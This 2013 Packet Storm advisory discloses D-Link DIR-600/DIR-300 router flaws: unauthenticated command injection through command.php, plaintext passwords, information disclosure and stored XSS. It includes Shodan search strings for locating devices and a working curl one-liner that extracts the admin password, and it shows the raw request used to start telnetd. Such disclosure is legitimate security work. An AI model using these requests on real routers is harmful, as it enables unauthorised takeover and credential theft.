D-Link DIR-600 / DIR-300 Command Execution / Bypass / Disclosure

Type packetstorm
Reporter Michael Messner
Modified 2013-02-05T00:00:00


                                            `Device Name: DIR-600 / DIR 300 - HW rev B1  
Vendor: D-Link  
============ Vulnerable Firmware Releases - DIR-300: ============  
Firmware Version : 2.12 - 18.01.2012  
Firmware Version : 2.13 - 07.11.2012  
============ Vulnerable Firmware Releases - DIR-600: ============  
Firmware-Version : 2.12b02 - 17/01/2012  
Firmware-Version : 2.13b01 - 07/11/2012  
Firmware-Version : 2.14b01 - 22/01/2013  
============ Device Description: ============  
D-Link® introduces the Wireless 150 Router (DIR-600), which delivers high performance end-to-end wireless connectivity based on 802.11n technology. The DIR-600 provides better wireless coverage and improved speeds over standard 802.11g*. Upgrading your home network to Wireless 150 provides an excellent solution for experiencing better wireless performance while sharing a broadband Internet connection with multiple computers over a secure wireless network.  
Source (dead): http://www.dlink.com/us/en/support/product/dir-600-wireless-n-150-home-r...  
German website: http://www.dlink.de/cs/Satellite?c=TechSupport_C&childpagename=DLinkEuro...  
============ Shodan Torks ============  
Shodan search:  
Server: Linux, HTTP/1.1, DIR-300  
Server: Linux, HTTP/1.1, DIR-600  
============ Vulnerability Overview: ============  
* OS Command Injection (unauthenticated)   
=> Parameter cmd  
The vulnerability is caused by missing access restrictions and missing input validation in the cmd parameter and can be exploited to inject and execute arbitrary shell commands.  
It is possible to start a telnetd to compromise the device.  
WARNING: You do not need to be authenticated to the device!  
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-600-OS-Command-Injectino.png  
starting a telnet server:  
POST /command.php HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 15  
Cookie: uid=hfaiGzkB4z  
Pragma: no-cache  
Cache-Control: no-cache  
You do not need to be authenticated to the device for executing the malicious commands. You could prepare the whole request and execute it without any authentication details.  
For example you could start the telnetd on other ports and interfaces. So with this you are able to get a full shell *h00ray*  
Nmap Scan after starting the telnetd:  
Nmap scan report for  
Host is up (0.022s latency).  
Not shown: 995 closed ports  
1/tcp filtered tcpmux  
23/tcp open telnet BusyBox telnetd 1.14.1 <<==!!!  
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-600-OS-Command-Injection-telnetd.png  
* Information disclosure:   
Nice server banner to detect this type of devices easily:  
Server: Linux, HTTP/1.1, DIR-300 Ver 2.12  
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12  
* For changing the current password there is no request to the current password   
With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.  
* Insecure Cryptographic Storage:   
There is no password hashing implemented and so it is saved in plain text on the system:  
# cat var/passwd  
"admin" "test" "0"  
Positive Technologies has released an advisory in 2011 and D-Link has fixed this issue:  
With the current version of the firmware the passwords are stored again in plaintext.  
If you combine the plaintext credential vulnerability with the unauthenticated os command injection vulnerability you will get the following one liner to extract the admin password from every vulnerable device:  
root@bt:~# curl --data "cmd=cat /var/passwd" http://<Target IP>/command.php  
"admin" "THESECRETPASS" "0"  
* Information Disclosure:   
Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available via the network.  
or try to access version.txt and have a look at the html source ;)  
HTTP/1.1 200 OK  
Server: Linux, HTTP/1.1, DIR-600 Ver 2.14  
Date: Fri, 31 Dec 1999 18:04:13 GMT  
Content-Length: 267  
Firmware External Version: V2.14  
Firmware Internal Version: d1mg  
Model Name: DIR-600  
Hardware Version: Bx  
WLAN Domain: 826  
Language: en  
Graphcal Authentication: Disable  
LAN MAC: <snip>  
WAN MAC: <snip>  
WLAN MAC: <snip>  
These details are available without authentication.  
* Local path disclosure   
Every piece of information is interesting for the attacker. With this we will get some more details about the operating system and its paths.  
HTTP/1.1 200 OK  
Server: Linux, HTTP/1.1, DIR-300 Ver 2.12  
Date: Sat, 01 Jan 2000 21:22:43 GMT  
Content-Type: text/xml  
Content-Length: 49  
EPHP: dophp(load,/htdocs/widget/.xml) ERROR (-1)  
* Stored XSS via WLAN Assistent and Version Details   
Injecting scripts into the parameter SSID reveals that this parameter is not properly validated for malicious input.  
=> Parameter: SSID  
The injected code gets executed if you try to access the file version.txt. For this you do not need to be authenticated :)  
============ Solution ============  
No known solution available.  
============ Credits ============  
The vulnerability was discovered by Michael Messner  
Mail: devnull#at#s3cur1ty#dot#de  
Web: http://www.s3cur1ty.de/m1adv2013-003  
Video: http://www.s3cur1ty.de/home-network-horror-days  
============ Time Line: ============  
14.12.2012 - discovered vulnerability  
14.12.2012 - contacted dlink with the new vulnerability details via webinterface  
20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D'Link  
21.12.2012 - D'link responded that they will check the findings *h00ray*  
11.01.2013 - requested status update  
25.01.2013 - requested status update  
25.01.2013 - D'Link responded that this is a security problem from the user and/or browser and they will not provide a fix. Quite interesting but ok ...  
25.01.2013 - I gave more details and as much input as possible so they can evaluate the vulnerabilities better  
04.02.2013 - no more responses from D'Link, public release  
===================== Advisory end =====================